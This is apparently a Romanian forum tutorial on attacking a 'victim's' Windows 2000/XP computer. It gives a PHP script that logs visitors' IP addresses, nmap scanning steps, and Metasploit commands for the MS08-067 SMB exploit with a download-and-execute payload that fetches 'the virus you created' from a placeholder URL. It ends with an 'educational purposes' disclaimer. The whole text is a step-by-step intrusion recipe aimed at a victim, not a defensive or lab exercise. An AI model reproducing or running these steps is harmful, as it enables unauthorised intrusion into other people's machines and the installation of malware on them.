Avem nevoie de:

1.http://sourceforge.n...cts/nmapfe-win/

2.http://www.metasploit.com

1. Ne trebuie ip-ul victimei, il putem afla usor cu urmatorul script php

<?

 

$file = "ip.txt";

 

$ip = $_SERVER['REMOTE_ADDR'];

 

$handle = fopen($file, 'a');

 

fwrite($handle, "IP Address: ");

fwrite($handle, "$ip");

fwrite($handle, "\n");

 

fclose($handle);

?>

2. Creeam o baza de date in metasploit

Deschidem metasploit si scriem 'db_create' , sau daca am creat inainte o baza de date (avem deja o baza de date) scriem 'db_connect'

3. Scanam dupa ip

Scriem in metasploit 'Nmap' dupa mai scriem 'nmap -sT -sV <ip victima>'

Cand scanarea s-a terminat, avem detaliat detalile calculatorul victimei.

4. Exploit

In consola, scriem 'use windows/smb/ms08_067_netapi'

Dupa 'set target 0'

Dupa 'show payloads'

Dupa 'set payload / download_exec'

Dupa 'Show options'

Acum scriem: 'set URL http://www.site.com/xxx.exe'unde http://www.site.com/xxx.exe este calea, url sau cum vreti voi sa ii spuneti catre virusul creat. 

la final scriem 'exploit'

Atentie, nu sunt responsabil pentru ce faceti. "Tutorial facut in scopuri educative"

P.S: scrieti fara (ghilimelele) ' ' de ex 'exploit' scriem exploit

Trebuie sa mearga fara probleme pe urmatoarele versiuni: Windows 2000, XP (toate service pack-urile)